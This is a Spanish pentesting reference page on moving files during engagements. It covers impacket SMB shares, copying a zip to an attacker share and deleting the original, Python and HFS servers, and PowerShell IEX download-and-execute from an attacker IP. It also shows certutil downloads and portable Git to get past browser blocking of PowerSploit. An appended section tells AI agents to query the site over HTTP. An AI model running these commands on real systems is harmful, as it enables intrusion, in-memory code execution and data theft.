# Transferencia de ficheros

## Servidores temporales

### SMB

{% tabs %}
{% tab title="Servidor SMB en Kali" %}
Se busca el binario de impacket-smbserver:

```bash
> locate smbserver

/usr/bin/impacket-smbserver
/usr/lib/python3/dist-packages/impacket/smbserver.py
/usr/lib/python3/dist-packages/impacket/__pycache__/smbserver.cpython-310.pyc
/usr/share/doc/python3-impacket/examples/smbserver.py
```

Se ejecuta una carpeta compartida vía SMB:

```bash
sharedfolder=/tmp/tempserver
mkdir $sharedfolder
cd $sharedfolder
impacket-smbserver share . -smb2support -username xtormin -password xtormin
```

{% endtab %}

{% tab title="Acceso desde Windows" %}
Se monta la carpeta vía CMD/Powershell:

```powershell
net use z: \\192.168.1.100\share /user:xtormin xtormin
```

Se accede a la carpeta compartida y se descargan los ficheros que se quieran:

```powershell
net use \\<IP de Kali>\share /u:xtormin xtormin
copy file.zip \\<IP de Kali>\share\
del file.zip
net use /d \\<IP de Kali>\share
```

{% endtab %}
{% endtabs %}

### HTTP

#### HFS

<https://www.rejetto.com/hfs/>

Se ejecuta el binario *hfs.exe* descargado desde la interfaz gráfica y se añaden los ficheros que se deseen exponer en el servidor web.

#### Python

```bash
python3 -m http.server 8000
```

## Descarga de ficheros

## Servidores temporales

### SMB

{% tabs %}
{% tab title="Servidor SMB en Kali" %}
Se busca el binario de impacket-smbserver:

```
> locate smbserver

/usr/bin/impacket-smbserver
/usr/lib/python3/dist-packages/impacket/smbserver.py
/usr/lib/python3/dist-packages/impacket/__pycache__/smbserver.cpython-310.pyc
/usr/share/doc/python3-impacket/examples/smbserver.py
```

Se sirve una carpeta compartida vía SMB:

```bash
sharedfolder=/tmp/tempserver
mkdir $sharedfolder
cd $sharedfolder
impacket-smbserver share . -smb2support -username xtormin -password xtormin
```

{% endtab %}

{% tab title="Acceso desde Windows" %}
Se monta la carpeta vía CMD/Powershell:

```powershell
net use z: \\192.168.1.100\share /user:xtormin xtormin
```

Se accede a la carpeta compartida y se descargan los ficheros que se quieran:

```powershell
net use \\<IP de Kali>\share /u:xtormin xtormin
copy file.zip \\<IP de Kali>\share\
del file.zip
net use /d \\<IP de Kali>\share
```

{% endtab %}
{% endtabs %}

### HTTP

#### HFS

<https://www.rejetto.com/hfs/>

Se ejecuta el binario *hfs.exe* descargado desde la interfaz gráfica y se añaden los ficheros que se deseen exponer en el servidor web.

#### Python

```bash
python3 -m http.server 8000
```

## Descarga y subida de ficheros

### Linux

{% code overflow="wrap" %}

```bash
wget "https://raw.githubusercontent.com/Hackplayers/PsCabesha-tools/master/Privesc/Azure-ADConnect.ps1"
```

{% endcode %}

### Windows

{% code overflow="wrap" %}

```powershell
iwr https://192.168.1.110/winPEASx64.exe -outputfile winpeas64.exe

IEX(New-Object Net.WebClient).downloadString('http://10.10.16.5:8000/Azure-ADConnect.ps1')

.\certutil.exe -urlcache -split -f "http://legacy.ps1"
```

{% endcode %}

#### **Consideraciones**

### SSH

Descarga desde servidor remoto a local:

{% code overflow="wrap" %}

```powershell
USER='xtormin'
IP='192.168.1.100'
RUTASRV='C:/Users/xtormin/Documents/<archivo_zip>.zip'
RUTALOCAL='.'
scp $USER@$IP:$RUTASRV $RUTALOCAL
```

{% endcode %}

Subida desde local a servidor remoto:

```powershell
USER='xtormin'
IP='192.168.1.100'
RUTASRV='C:/Users/xtormin/Documents/<archivo_zip>.zip'
RUTALOCAL='.'
scp $RUTALOCAL $USER@$IP:$RUTASRV
```

### Git - Descarga de repositorios

En ocasiones, el navegador puede bloquear la descarga de ficheros que identifica como maliciosos. Una forma de descargarlos cuando es usando Git con su versión portable cuando no se pueda instalar o no se cuente con permisos de administrador local.

#### Git

<https://git-scm.com/download/win/>

```bash
cd PortableGit-2.46.2-64-bit
.\git-bash.exe
```

Esto abrirá una consola desde la que se podrá clonar el repositorio:

```bash
cd c/Pentest/Tools
git clone https://github.com/PowerShellMafia/PowerSploit.git
```

## Referencias

* <https://medium.com/@PenTest_duck/almost-all-the-ways-to-file-transfer-1bd6bf710d65>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xtormin.com/pentesting-en-infraestructuras/misc/transferencia-de-ficheros.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
